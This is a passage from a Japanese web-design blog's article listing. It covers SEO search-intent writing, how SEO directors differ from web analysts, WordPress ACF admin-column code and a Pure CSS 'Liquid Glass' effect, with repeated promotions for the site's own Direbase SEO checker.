{ d.querySelectorAll('script,style,noscript,template').forEach((e) => e.remove()); return d.body.textContent.replace(/\s/g, '').length; }; const raw = await (await fetch(location.href, { cache: 'reload' })).text(); const initial = strip(new DOMParser().parseFromString(raw, 'text/html')); const rendered = document.body.innerText.replace(/\s/g, '').length; const heads = [...document.querySelectorAll('h1,h2,h3')].map( (el) => el.tagName + ' / ' + el.innerText.trim().replace(/\s+/g, ' ') ); console.log('初期HTMLのテキスト字数:', initial); console.log('描画後のテキスト字数 :', rendered); console.log('h1の個数 :', document.querySelectorAll('h1').length); console.log('見出しにある狙う語 :', KW.filter((k) => heads.some((h) => h.includes(k)))); console.table(heads); やっていることは3つです。自分のURLをもう一度取得してサーバーが返した初期HTMLの文字数を数え、ブラウザが描画したあとの文字数を数え、見出しを一覧にしています。見出しの一覧は console.table で表として出るので、そのまま目視できます。 ### [DIRECTORS TEAM RINIA](https://codequest.work/directors-team-rinia/) DIRECTORS TEAM RINIA　 戦略立案から制作、運用まで一貫してサポートするディレクターチーム「RINIA.」 RINIA（リニア）は、企業や店舗の集客課題を解決するWeb制作チームです。目的に合わせた戦略設計からデザイン、WordPress・Next.jsによるSEOに強いサイト構築まで一貫対応。検索エンジンに評価される構成と導線設計で、見込み客を自然に集める仕組みを作ります。制作後もアクセス解析や改善提案を継続し、サイトを“育てる”パートナーとして成果を追求。集客・採用・ブランディングを強化したい企業さまに最適なWeb制作サービスです。月額サポートプランで必要なディレクターを選べます！ RINIA あなたの事業に合ったWEB制作やサイト改善を、“外部ディレクターチーム”として丁寧にサポートします RINIAは、制作だけでなく、日々の運用改善や課題整理まで寄り添うWEBディレクターチームです。小規模事業者の方や、社内にWEB担当がいない企業でも、無理なく続けられる仕組みづくりをご一緒します。 「どこから手をつければいいのか分からない」という段階でも問題ありません。既存サイトの改善、新規WEB制作、長期的な運用まで、必要な部分を必要なだけお任せいただけます。 成果につながるWEB戦略を、あなたの会社に最適な形で一緒に整えていきます。 https://www.youtube.com/watch?v=gm22wg_Hg90 ### [SEOライティングの本質｜Do／Know／Buy／Goで書き方が変わる理由](https://codequest.work/search-intent-writing/) SEOライティングにおいて最も重要なのは「検索意図（Search Intent）」を理解することです。 この記事では、Googleが検索意図を分類する際の基準「Do／Know／Buy／Go」をもとに、記事構成やライティング技法の考え方を解説します。 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase（ディレベース） をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 Do／Know／Buy／Goクエリ分類とは？ 検索意図とは、ユーザーが検索する「目的」のことです。Googleは検索意図を次の4つに分類しています。 クエリタイプ意図代表例Know知りたい・学びたいSEOとは／Webライティング コツDoやってみたい・比較したいSEOツール 比較／WordPress 使い方Buy購入・依頼したいSEO代行 料金／LP制作 見積Go特定ブランドを探しているCodeQuest／RINIA／Lancers 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 検索意図が「ライティングの型」を決める 記事の書き方は、検索意図によって大きく変わります。次の表は、各クエリタイプに適したライティング技法の一覧です。 クエリタイプライティング手法構成テンプレートトーンKnowPREP法・SHE構成結論→理由→具体例→まとめ教育的・丁寧DoPASONA法課題→共感→解決策→提案→行動共感・実践的Buyベネフィット訴求・セールス構成悩み→解決→実績→CTA信頼・安心Goブランドストーリー構成理念→強み→実績→導線誠実・公式 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 実践：意図に合わせたライティング例 Knowクエリの書き方 例：「SEOとは」→ 定義 → 理由 → 方法 → まとめで「次へ」導線→ 記事の目的は“知識の提供”。CTAは軽めに。 Doクエリの書き方 例：「SEOツール 比較」→ 導入で悩み → 比較表で訴求 → CTAで行動促進→ 体験談やレビューを織り交ぜてリアルに書く。 Buyクエリの書き方 例：「SEOコンサル 料金」→ 課題提示 → 実績 → 価格 → 申込CTA→ ベネフィットを中心に信頼を構築する。 Goクエリの書き方 例：「CodeQuest」や「RINIA」などのブランド検索→ 理念 → 実績 → お問い合わせ導線→ トーンを統一してブランドイメージを高める。 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 Knowクエリとは？検索意図と書き方のポイント Knowクエリとは、ユーザーが特定の情報や知識を得ることを目的として検索するクエリのことです。「〜とは」「〜の意味」「〜の仕組み」といった疑問形のキーワードが典型的なパターンで、Google検索全体の中でも最も多い検索意図に分類されます。 Knowクエリの具体例 Knowクエリには、以下のような検索キーワードが該当します。 キーワード例検索意図SEOとはSEOの基本的な定義を知りたい検索意図 種類検索意図にどんな分類があるか知りたいE-E-A-T 意味Googleの評価基準の意味を理解したいコアアップデート 影響アルゴリズム変動の影響範囲を知りたい Knowクエリに対するSEOライティングのコツ Knowクエリで上位表示を狙うには、PREP法（結論→理由→具体例→まとめ）の構成が効果的です。ユーザーは「答え」を求めているため、記事冒頭で結論を明示し、その後に根拠や具体例を展開します。トーンは教育的・丁寧にし、専門用語には必ず補足説明を加えましょう。CTAは「関連記事への誘導」程度に抑え、売り込みは避けるのが鉄則です。 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 Buyクエリとは？購入検討ユーザーの検索意図を理解する Buyクエリとは、ユーザーが商品やサービスの購入・契約を検討している段階で発生する検索クエリのことです。「〜 料金」「〜 おすすめ」「〜 比較 購入検討」といったキーワードが典型で、コンバージョンに最も近い検索意図として、SEO戦略において非常に重要な位置を占めます。 Buyクエリの具体例とBuy SEOの考え方 Buy SEOとは、購入意図を持つユーザーを対象としたSEO施策のことです。以下のようなキーワードがBuyクエリに該当します。 キーワード例検索意図SEOコンサル 料金SEOコンサルの価格帯を比較して依頼先を決めたいWordPress テーマ おすすめ有料テーマの中からベストな選択肢を見つけたいLP制作 見積ランディングページ制作を外注する費用を知りたいSEOツール 有料 比較有料SEOツールの機能と価格を比較して導入したい Buyクエリに対するSEOライティングのコツ Buyクエリのユーザーはすでに「買いたい」という意思があるため、記事では信頼構築とベネフィット訴求を中心に構成します。具体的には、課題提示→解決策→実績・口コミ→価格→CTA（問い合わせ・申込）の流れが効果的です。数値データや第三者のレビューを盛り込むことで、購入検討ユーザーの意思決定を後押しできます。 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 DoクエリとGoクエリの違いとは？それぞれの検索意図を解説 DoクエリとGoクエリは混同されやすいですが、検索意図に明確な違いがあります。Doクエリとは、ユーザーが「何かを実行したい・試したい」という行動意図を持つ検索クエリのことです。一方、Goクエリとは、特定のWebサイトやブランドに直接アクセスしたいという指名検索のことを指します。 DoクエリとGoクエリの比較表 項目DoクエリGoクエリ検索意図行動したい・実行したい特定サイトにアクセスしたいキーワード例WordPress 使い方、画像圧縮 方法CodeQuest、Amazon、YouTubeユーザー段階検討・比較段階ブランド認知済みコンテンツの型ハウツー・チュートリアル・比較記事公式サイト・ブランドページライティング手法PASONA法（課題→共感→解決策→提案→行動）ブランドストーリー構成（理念→強み→実績→導線） Doクエリの具体例と対策 Doクエリでは、ユーザーが「実際にやってみたい」と思えるような実践的なコンテンツが求められます。ステップ形式の手順解説、スクリーンショット付きのチュートリアル、ツールの比較レビューなどが有効です。体験談やリアルな使用感を織り交ぜることで、ユーザーの行動を後押しできます。 Goクエリの具体例と対策 Goクエリはブランド名や固有名詞での検索です。自社のGoクエリで確実に1位を取るためには、公式サイトのtitleタグにブランド名を含め、構造化データ（Organization、WebSite）を正しく実装することが重要です。また、SNSアカウントやGoogleビジネスプロフィールなど、ブランドに関連する外部プロファイルを整備することでナレッジパネルの表示にもつながります。 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 よくある質問（FAQ） Q. Knowクエリで上位表示するために最も重要なことは何ですか？ Knowクエリで上位表示するには、検索キーワードに対する「明確な答え」を記事の冒頭で提示することが最も重要です。PREP法（結論→理由→具体例→まとめ）で構成し、専門用語には補足説明を加えることで、Googleの強調スニペットにも選ばれやすくなります。 Q. BuyクエリとDoクエリの違いは何ですか？ Buyクエリは「購入・契約」が目的の検索意図であり、Doクエリは「実行・体験」が目的の検索意図です。たとえば「SEOツール 有料 比較」はBuyクエリ、「SEOツール 使い方」はDoクエリに分類されます。Buy SEOでは価格や実績の提示が重要で、Doクエリではハウツーやチュートリアルなどの実践コンテンツが求められます。 Q. Goクエリで自社サイトが1位に表示されない場合はどうすればよいですか？ Goクエリで自社サイトが1位に表示されない場合は、titleタグにブランド名を正確に含める、Organization構造化データを実装する、Googleビジネスプロフィールを登録する、SNSアカウントを公式として整備するなどの対策が有効です。ブランド名の一貫性を保つことが指名検索での上位表示につながります。 サイト全体では「意図の導線」を設計する SEOでは、1記事単体よりも「記事同士のつながり」が重要です。サイト全体で次のような流れを意識しましょう。 Know → Do → Buy → Go（知る → 行動する → 購入する → 指名する） この流れを内部リンクで構築することで、検索意図とユーザー導線が一致し、離脱率の低下やCV率の向上につながります。 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 まとめ｜SEOライティングは“意図で書く”時代 ・キーワードを詰め込むよりも、検索意図を理解することが重要・Do／Know／Buy／Goを意識することで、文章の目的が明確になる・サイト全体で意図を整合させることで、E-E-A-Tが高まりやすい 検索エンジンに評価される記事は、「誰に」「なぜ」「どんな意図で」書かれたかが明確です。Do／Know／Buy／Go分類を取り入れて、SEOライティングを“戦略的な技法”に変えていきましょう。 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 ### [SEOディレクターとWEB解析士の違い｜提案で終わらない実践型SEO職とは](https://codequest.work/seo-director-vs-web-analytics/) SEOディレクターとWEB解析士の違い ― データを“読む人”と、“動かす人”の境界 ― SEOディレクターとは？検索成果に責任を持つ実践型SEO職 SEOディレクターとは、キーワード戦略の設計からコンテンツ企画、構造化データ・メタタグなど技術的SEOの実装、効果測定までを一貫して担当し、検索流入の増加とコンバージョン改善に責任を持つ専門職です。 “データを扱う仕事”という共通点を持つWEB解析士とは、分析に特化するか実装まで担うかという点で大きく異なります。この記事では、両者の目的・スキル・責任範囲の違いを明確にし、SEOディレクターの実践的な価値を整理します。 SEOディレクターとWEB解析士の5つの違い 目的の違い ― 成果を上げるか、データを読むか 観点SEOディレクターWEB解析士最終目的検索流入を増やし、成果（CV・売上）を最大化するアクセスデータを正確に読み取り、課題を発見する成果の定義検索順位・クリック率・CVRの改善分析レポートの作成・改善提案の提示活動のゴールサイト全体のSEO戦略を設計・実装・改善まで完結させるデータを可視化し、次のアクションを導く SEOディレクターは「成果」に責任を持ち、WEB解析士は「分析」に責任を持ちます。 前者は“どうすれば上がるか”を考え、後者は“なぜ上がらないか”を読み解く。両者のゴールは似て非なるものです。 業務領域の違い ― 戦略と分析の住み分け 領域SEOディレクターWEB解析士分析GSC・GA4を用いた検索流入・CTR・E-E-A-T評価分析GA4・ヒートマップ・BIツールによる全体分析戦略設計キーワード戦略・内部リンク設計・コンテンツマップ設計KPI設計・アクセス経路分析・セグメント分析実装・改善構造化データ・メタ最適化・速度改善・UX設計提案書・レポート作成（実装は他職種が担当） SEOディレクターは、戦略を設計するだけでなく、実際に「手を動かして改善する」立場です。 WEB解析士は「データを読む専門家」ですが、改善そのものを実行する役割ではありません。 成果指標の違い ― “見る数字”が異なる 指標カテゴリSEOディレクターWEB解析士KPI検索順位、CTR、滞在時間、CVRセッション数、直帰率、コンバージョンレート短期指標タイトル改善・構造修正によるCTR上昇トラフィック推移・流入経路の把握中長期指標E-E-A-T・内部構造・ドメイン評価の向上継続的なデータ分析による経営判断支援 SEOディレクターは「数字を動かす」ために分析を行う。WEB解析士は「数字を理解する」ために分析を行う。 同じデータを見ていても、目的と行動がまったく違います。 立ち位置の違い ― 発見する人と、解決する人 WEB解析士　→　課題を発見する人 SEOディレクター　→　課題を解決する人 WEB解析士が「診断者」なら、SEOディレクターは「外科医」に近い存在です。 解析士は“現状を可視化する”ことが役割ですが、ディレクターは“現状を変える”ことが仕事。 提案で終わらせず、実装を通して結果を変えていく。ここが、両者の決定的な違いです。 実践性の違い ― SEOディレクターは「動かせる」専門職 SEOディレクターは、分析結果をもとに改善を実行できる人です。具体的には以下のような領域を担当します。 ページ構造やパンくずリストなどの内部SEO設計 構造化データ（JSON-LD）の実装 表示速度（LCP・CLS）改善 メタ情報・タイトル・ディスクリプション最適化 コンテンツリライトと内部リンク調整 これらは“提案”ではなく“実行”です。SEOディレクターの強みは、戦略から現場まで一貫して動かせること。 実際に、構造化データの追加やタイトル最適化によってCTRが15〜20％向上したケースもあります。このように、SEOディレクターは“分析で終わらず、成果を動かす専門職”です。 まとめ ― データを読むだけで終わらせない 比較項目SEOディレクターWEB解析士目的成果を上げるデータを読む行動改善を実装する分析し提案する評価軸検索順位・流入・CV分析精度・洞察力強み実行力・戦略力分析力・論理性関係性データを“活かす”データを“見る” SEOディレクターは、WEB解析士よりも「実践的な成果責任を持つ職種」です。分析で終わらず、戦略を実装し、結果を動かす専門家。 【判定】自分は「読む側」か「動かす側」か 肩書きや資格ではなく、直近3ヶ月で実際にやったことで判定します。 判定項目と合否ライン 数値を見て「次に何を直すか」を決めたか（レポートを作っただけは含まない） その修正を実際に反映したか（自分で、または依頼して本番に出したか） 反映後に効果を測り直したか（同じ指標で前後を比較したか） 効果が出なかったときに次の仮説を立てたか（1回で終わらせていないか） Yesの数現在地次の一手0〜1個分析・報告で止まっている小さくてよいので「直す」ところまで1周させる。修正1件でよい2〜3個改善は回せているが検証が甘い反映後の再計測を必ずセットにする4個PDCAが1周している成果の再現性を示す。同じ手順で別ページでも効いたかを見る 1番目と2番目の間に最大の壁があります。「レポートは出したが、直してはいない」で止まっている人が非常に多い。分析と実装の間を自分で渡れるかどうかが、この2職種を分ける実質的な境界です。 「直す」までを1周させる最短ルート いきなり大きな施策を打つ必要はありません。表示回数はあるのにクリックが少ないページを1本選び、タイトルとメタディスクリプションだけ直す——これで1周します。実装コストが小さく、効果も数値で確認できます。 具体的な書き方はmeta descriptionの書き方ガイド、見るべき指標の選び方はドメインパワーより大事なSEO評価基準4つにまとめています。SEO全体の進め方はSEO対策ガイドを参照してください。 この記事のポイントまとめ WEB解析士は「分析者」、SEOディレクターは「実践者」 SEOディレクターは分析だけでなく改善まで一貫して担当 成果を動かす視点こそが、SEOディレクター最大の特徴 データを読むだけではなく、“成果に変える力”が必要 SEOディレクターの実務では、構造化データ・メタタグ・Core Web Vitalsなど技術的SEOの診断が欠かせません。Direbaseなら45項目以上を無料で一括チェックできます。 Direbaseで無料診断する 補足：E-E-A-Tの観点から見たSEOディレクター SEOディレクターは、E-E-A-Tの思想そのものを体現する職種です。 要素具体的な体現内容E（Experience）経験実際の改善施策を通して得た知見を活かすE（Expertise）専門性SEO構造、GA4、GSC、JSON-LDなど技術的理解を有するA（Authoritativeness）権威性結果を出すことで信頼を積み重ねるT（Trustworthiness）信頼性数値・データ・実例に基づいた発信を行う SEOはデータを読むだけでは成果につながりません。実装を理解し、現場で改善を重ねられる“実践型SEOディレクター”こそ、真にE-E-A-Tを体現する存在と言えるでしょう。 よくある質問（FAQ） Q. SEOディレクターとWeb解析士の違いは何ですか？ Web解析士はアクセスデータの分析と改善提案が主な役割で、資格認定制度があります。SEOディレクターは分析だけでなく、コンテンツ設計・技術的SEO・内部リンク構造の実装まで一貫して担当する実践型の職種です。提案で終わるか実装まで行うかが大きな違いです。 Q. SEOディレクターになるために必要なスキルは？ HTML/CSS・JavaScript の基礎知識、Google Search Console・GA4の操作スキル、構造化データの実装能力、コンテンツ企画力が必要です。加えて、サーバー設定やWordPressのテーマ開発など、技術的SEOを自ら実装できるスキルがあると市場価値が大幅に高まります。 Q. Web解析士の資格はSEOに役立ちますか？ データ分析の体系的な知識を得るには有用です。ただし、資格取得だけではSEOの実践力は身につきません。分析結果をもとに具体的な改善施策を実装・検証するサイクルを回せることが、実務では最も重要です。 SEOディレクターの実務に不可欠な技術SEO診断を、無料で今すぐ試せます。構造化データ・メタタグ・Core Web Vitals・見出し構造を一括チェック。 まずはSEO診断から → Direbase ▶ 技術ブログ：CodeQuest.work▶ ポートフォリオ：ORECTIC DESIGN 📚 あわせて読みたい：内部SEOを「関連記事を貼ること」で終わらせないために → 本文内部リンクの棚卸し手順 ### [制作スキルの有無で分ける「ディレクション」と「ディレクター」の違い](https://codequest.work/direction-vs-director/) ディレクションとは、制作の進行を管理する「業務」のことです。ディレクションだけを担当する人はディレクターとは呼ばれず、ディレクターは制作スキルを持ったうえでディレクションも兼ねます。 Web業界ではこの2つの言葉が混同されやすく、役割が曖昧なまま使われているケースが多くあります。プロジェクトの成果やチームの生産性を高めるためには、「制作スキルの有無」を基準に区別することが大切です。 ディレクションとは（制作の進行を管理する業務） ディレクションとは、クライアント対応・スケジュール管理・外注や社内チームとの調整など、制作の進行を管理する業務そのものを指します。役職名ではなく「仕事の内容」を表す言葉である点が、ディレクターとの決定的な違いです。 ディレクションだけを担当する場合、制作内容そのもの（デザイン・コーディング・CMS実装）には関与せず、プロジェクトを円滑に進めるための「ハブ」として機能します。この立場の人は一般に「進行管理担当」と呼ばれ、ディレクターとは区別されます。 主な特徴 クライアントとのコミュニケーションが中心 スケジュール・タスク・予算の管理 制作物のチェックは感覚的・主観的になりやすい 制作スキルを持たないため、技術的判断は制作者に委ねる メリットとデメリット メリットデメリットプロジェクト全体を俯瞰して管理できる現場とのズレが起こりやすいクライアントとの調整に集中できる品質や技術的な判断ができない ディレクターとは（制作スキルあり） ディレクターとは、デザイン・コーディングなどの制作スキルを持ちながら、全体を統括する人を指します。進行管理に加えて、構成・品質・UI/UX・SEO・CMS実装など、プロジェクトの成果物そのものにも責任を持ちます。 つまりディレクションはディレクターの仕事の一部であり、逆は成立しません。ディレクターはディレクションも兼ねますが、ディレクションだけを担当する人はディレクターとは呼ばれない、という関係です。 主な特徴 制作スキルを理解し、現場と同じ目線で判断できる 品質・構成・導線設計・SEOなど成果物全体を監修 チームの得意領域を把握し、最適なリソース配分ができる 現場の負荷を理解し、無理のない進行が可能 メリットとデメリット メリットデメリット品質とコストのバランスを最適化できるスキル維持と負荷が大きい技術的な会話ができ、トラブル解決が早い管理と制作の両立が難しい 両者の比較一覧 項目ディレクションのみ担当（制作スキルなし）ディレクター（制作スキルあり）主な役割進行管理・調整進行＋品質管理・構成監修スキル領域マネジメント・コミュニケーションHTML/CSS/JS・デザイン・CMS・SEO責任範囲プロジェクトの進行プロジェクトの成果・品質チームでの位置づけ制作を依頼する立場制作を理解し指揮する立場メリット全体を俯瞰できる現場感のある指示ができるデメリット技術的判断が弱いスキル維持が必要 ディレクターという新しい定義 本記事では、制作スキルを持つディレクターを「ディレクター」と定義します。単なる進行管理に留まらず、デザイン・コーディング・SEOを理解したうえで、成果物の品質まで責任を持つ存在です。 制作型ディレクターは、クライアント・デザイナー・エンジニアの間を橋渡ししながら、プロジェクトの完成度とスピードを両立させます。 なぜこの区分が重要なのか 役割と責任範囲を明確にできる　→ チーム内での混乱を防ぎ、意思決定がスムーズになる。 クライアントへの説明がしやすくなる　→ 「単なる進行管理ではなく、品質監督まで行う立場」であることを示せる。 報酬設定の根拠になる　→ 制作スキルを持つディレクターは、非制作型よりも高単価で評価されるべき。 制作スキルの有無は、成果物を数字で点検できるかどうかにも表れます。たとえばサイト内の本文リンクを走査して孤立ページを洗い出す作業は、本文内部リンクの棚卸し手順のとおり手を動かせば誰でも検証できます。 まとめ 「ディレクション」と「ディレクター」は、どちらもプロジェクトを導く重要な役割ですが、制作スキルを持つかどうかで責任の範囲と価値が大きく異なります。 制作スキルなし → ディレクションのみを担当（ディレクターとは呼ばれない） 制作スキルあり → ディレクションも兼ねて品質まで監督する「ディレクター」 制作現場を理解した上でディレクションできる人材こそが、これからのWeb制作における「本質的なディレクター」と言えるでしょう。 よくある質問（FAQ） Q. ディレクションとディレクターの違いは何ですか？ ディレクションは「指示・管理・進行管理」という業務行為を指し、ディレクターはその業務を担う職種・役職名です。制作スキルの有無によって、ディレクションの質と範囲が大きく変わります。制作経験のあるディレクターは技術的な判断も含めた包括的なディレクションが可能です。 Q. ディレクターに制作スキルは本当に必要ですか？ 必須ではありませんが、制作スキルがあるディレクターは見積もりの精度が高く、技術的な実現可能性を即座に判断でき、クリエイターとの対等なコミュニケーションが可能です。特にWeb制作の現場では、HTML/CSS・デザインツールの基礎知識があるだけでプロジェクトの質が向上します。 Q. Webディレクターのキャリアパスは？ 一般的にはWebデザイナーやエンジニアからディレクターへステップアップし、その後プロデューサーやマネージャーへ進むパスがあります。近年はSEOディレクターやUXディレクターなど専門分野に特化したキャリアも増えており、制作スキルと戦略スキルの両方を持つ人材の市場価値が高まっています。 次に読む記事：AI時代に必要なディレクターとは何か ### [GOAL – Graphic Designer　](https://codequest.work/showcase-1-goal/) GOAL - Graphic Designer　 あなたの課題をデザインで解決します。 GOALはグラフィックデザインと動画制作を通じて事業者様の課題解決をサポートしています。ロゴや名刺、パンフレットなどの紙媒体から、Webサイトデザイン、SNS用バナー、広告動画まで幅広く対応可能です。制作にあたっては、まず丁寧なヒアリングを行い、目的に沿ったデザイン提案を心がけています。例えば美容室サイトでは、ターゲット層に合わせた配色と予約導線を工夫し、集客につながるデザインを実現しました。デザインで「伝わる力」を高めたい方は、ぜひご相談ください。 GOAL HP 美容室デモサイト コンセプト 清潔感と落ち着きを感じる柔らかな配色と余白設計で、安心して訪れられる信頼性を表現。経験豊富なスタイリスト紹介やリアルな施術写真により専門性と実績を訴求しています。 ### [WordPress + ACFで管理画面をカスタマイズ！投稿一覧にカスタムフィールドを表示する方法](https://codequest.work/acf-admin-customize/) はじめに WordPressの管理画面は標準でも便利ですが、案件によっては「もっと運用しやすくしたい」と感じることがあります。特にクライアントワークでは、投稿ごとにメモやステータスなどを残しておくと、後からの確認や管理がとてもスムーズになります。 そこで本記事では Advanced Custom Fields（ACF） を使って、投稿編集画面にカスタムフィールドを追加し、その内容を投稿一覧に表示する方法を解説します。 ACFでフィールドを追加する手順 WordPress管理画面から カスタムフィールド → フィールドグループを追加 を選択します。 「メモ」という名前の テキストフィールド を作成します。 表示する場所（ルール）は「投稿」を選択し保存します。 これで投稿編集画面に「メモ」欄が表示され、自由に入力できるようになります。 投稿一覧にカスタムフィールドを表示する方法 追加したメモを一覧でも確認できるように、テーマの functions.php に以下を追記します。 // 投稿一覧にカスタム列を追加 add_filter('manage_posts_columns', 'add_custom_columns'); function add_custom_columns($columns) { $columns['memo'] = 'メモ'; return $columns; } // カスタム列にACFの値を表示 add_action('manage_posts_custom_column', 'show_custom_columns', 10, 2); function show_custom_columns($column, $post_id) { if ($column === 'memo') { $memo = get_field('memo', $post_id); echo esc_html($memo); } } 追加したメモを一覧でも確認できるように、テーマの functions.php に以下を追記します。使用する関数の詳細はWordPress関数一覧も参考にしてください。 実務での活用例 記事の進捗管理：公開前のチェック状況をメモとして残す ECサイト：商品一覧に「SKUコード」や「在庫数」を表示する ニュースサイト：記事ごとに「担当者名」や「取材日」を表示する このように一覧画面を拡張することで、編集者やクライアントが記事を探しやすくなり、日々の運用がスムーズになります。 まとめ WordPressの管理画面は、標準のままでも使えますが、ACFを活用すれば「運用効率を大幅に改善できる」管理画面を構築できます。投稿編集画面に自由なフィールドを追加し、投稿一覧に必要な情報を表示するだけでも業務がかなり楽になります。 クライアント案件や自社運用でぜひ取り入れてみてください。 よくある質問（FAQ） Q1. ACFを使わずに同じことはできますか？ はい、WordPress標準のカスタムフィールド機能でも可能です。ただしUIがシンプルすぎて運用には不向きな場合が多いため、実務ではACFの利用をおすすめします。 Q2. 投稿一覧に複数のカスタムフィールドを表示できますか？ 可能です。functions.phpのコードを少し追加して列を増やせば、複数のフィールドを表示できます。 Q3. 投稿一覧の並び替え（ソート）はできますか？ はい、manage_edit-post_sortable_columns フィルターを使うと、特定のカスタムフィールドを基準に並び替えられます。 Q4. ページやカスタム投稿タイプでも使えますか？ もちろん可能です。ACFのフィールドグループで対象を「固定ページ」や「カスタム投稿タイプ」にすれば同じ手順で実現できます。 Q5. ACFは無料版で大丈夫ですか？ 今回の例は無料版で問題ありません。有料版（ACF Pro）は繰り返しフィールドや柔軟コンテンツなどが追加できます。 ### [iOS風「Liquid Glass」をWebで再現する方法](https://codequest.work/liquid-glass-web-design/) CSSで作るガラスモーフィズムUI iOS風の「Liquid Glass」は、ガラスモーフィズムとも呼ばれるデザインです。CSSのblurや透明感で背景を透かし、独特の“とろみ”を生み出します。Webデザイン初心者でも取り入れやすく、人気が高まっています。 Liquid Glassの作り方は大きく3通り。目的に合った方法を選べます。 作り方屈折の再現向いている人コード生成✅ Pure CSS（この記事）なし（すりガラス風）まず手軽に試したい—CSS × SVG簡易的な屈折＋スクロール追従動きも付けたいCSSジェネレーターCSS × WebGL本格的な屈折Apple風を忠実に再現したいWebGLジェネレーター この記事では、3通りのうち最も手軽なPure CSSの方法を解説します。学習中でもすぐ試せるよう、コピーしてそのまま動くコードを用意しました。UI/UXを改善したい方、iOS風デザインを手早く取り入れたい方は、まずは基本的な再現方法から見ていきましょう。 Liquid GlassをWebで再現する完成コード 以下のコードをそのままコピーすれば、ガラスモーフィズム UIがブラウザ上で動作します。背景はスクロールして流れ、中央のガラスは固定されるため、CSS ガラス効果の透明感と屈折感が直感的に体験できます。 https://codepen.io/masakazuimai/pen/azZRqRQ 上のデモを再現するHTMLとCSSは以下のとおりです。そのままコピーして使えます。 <div class="bg"> <div class="liquid-glass"> <h2>Liquid Glass</h2> <p>Pure CSSだけで実現するiOS風ガラスモーフィズム。backdrop-filterとbox-shadowの組み合わせで透明感を表現します。</p> <a href="#" class="liquid-glass-btn">詳しく見る</a> </div> </div> .bg { min-height: 100vh; display: flex; align-items: center; justify-content: center; background: url("https://images.unsplash.com/photo-1506744038136-46273834b3fb?w=1200") center / cover fixed; } .liquid-glass { width: 380px; padding: 40px; border-radius: 24px; background: rgba(255, 255, 255, 0.12); backdrop-filter: blur(20px) saturate(180%); -webkit-backdrop-filter: blur(20px) saturate(180%); border: 1px solid rgba(255, 255, 255, 0.3); box-shadow: 0 8px 32px rgba(0, 0, 0, 0.12), inset 0 1px 0 rgba(255, 255, 255, 0.4); color: #fff; text-align: center; } .liquid-glass h2 { font-size: 1.5rem; font-weight: 600; margin-bottom: 12px; } .liquid-glass p { font-size: 0.95rem; line-height: 1.6; opacity: 0.85; } .liquid-glass-btn { display: inline-block; margin-top: 20px; padding: 12px 32px; border-radius: 14px; background: rgba(255, 255, 255, 0.18); backdrop-filter: blur(12px); -webkit-backdrop-filter: blur(12px); border: 1px solid rgba(255, 255, 255, 0.25); color: #fff; font-weight: 500; text-decoration: none; transition: background 0.3s ease; } .liquid-glass-btn:hover { background: rgba(255, 255, 255, 0.3); } 実装のポイント backdrop-filter: blur() saturate()背景をぼかしつつ彩度を上げ、ガラスの透明感を生み出す中心プロパティです。数値を大きくするほど"とろみ"が強まります。 background: rgba(...)白の透明度で膜の濃さを調整します。明るい背景は薄め、暗い背景は濃いめにすると見やすくなります。 border-radius / box-shadow角丸でiOS風の柔らかさを出し、内側のハイライト（inset）でガラスのフチの光沢を表現します。 背景選び単色よりも写真や模様のある背景の方が、ぼかしによるガラス効果が分かりやすくなります。 この実装は、ボタンデザインで特に効果的です。 Tailwind CSSでLiquid Glassを実装する Tailwind CSSを使っているプロジェクトなら、ユーティリティクラスだけでLiquid Glass風のUIが作れます。 Tailwind版のポイント backdrop-blur-xl = backdrop-filter: blur(24px) backdrop-saturate-[180%] = 任意値指定（JIT mode） bg-white/10 = rgba(255,255,255,0.1) の省略記法 shadow-[...] = カスタムbox-shadowを任意値で指定 Tailwindを使い慣れている方なら、このパターンを覚えておけば数分でLiquid Glass UIを追加できます。 Pure CSS版のポイント backdrop-filter: blur(20px) saturate(180%) が核。blurで背景をぼかし、saturateで色の鮮やかさを保つ inset box-shadow で上部にハイライトを入れると、ガラスの「厚み」が出る border: 1px solid rgba(255,255,255,0.3) で輪郭を出し、背景から浮かせる -webkit-backdrop-filter はSafari対応に必須。2025年時点でもprefixが必要 Webで「iOS 26に近づける」マウス追従ハイライト iOS 26の「光の反射」をマウス座標で疑似的に再現するテクニックです。ガラスの表面にマウスに追従する「光のスポット」が表現でき、iOS 26のLiquid Glassにかなり近い質感になります。 ブラウザ対応状況（2025年） ブラウザbackdrop-filter対応Chrome 76+✅Edge 79+✅Safari 9+（-webkit-）✅Firefox 103+✅ 主要ブラウザすべて対応済みです。 ガラスモーフィズムをWebに導入するメリット UI/UX改善 シンプルなデザインに透明感を加えるだけで、洗練された印象に。 フロントエンド実装の学習に最適 HTMLとCSSの基本が分かれば簡単に導入できるので、Webデザイン初心者の練習にも向いています。 トレンド対応 iOS風UIはガラスモーフィズムの代表例。サイトに取り入れるだけで“今っぽさ”を出せます。 Apple iOS 26「Liquid Glass」とWeb実装の違い 2025年6月のWWDC25で発表されたiOS 26（旧iOS 19）では、UIデザイン言語として「Liquid Glass」が正式採用されました。 WebでのLiquid Glass実装を理解するために、Apple公式のデザインとの違いを押さえておきましょう。 iOS 26のLiquid Glassの特徴 動的な屈折効果： 背景の色や明度に応じて、ガラスの見え方がリアルタイムに変化する 深度の表現： 要素が重なったとき、手前と奥でblurの強さが自動的に変わる 光の反射： 端末の傾きに連動したハイライト表現（ジャイロスコープ連動） Web実装との差分 機能iOS 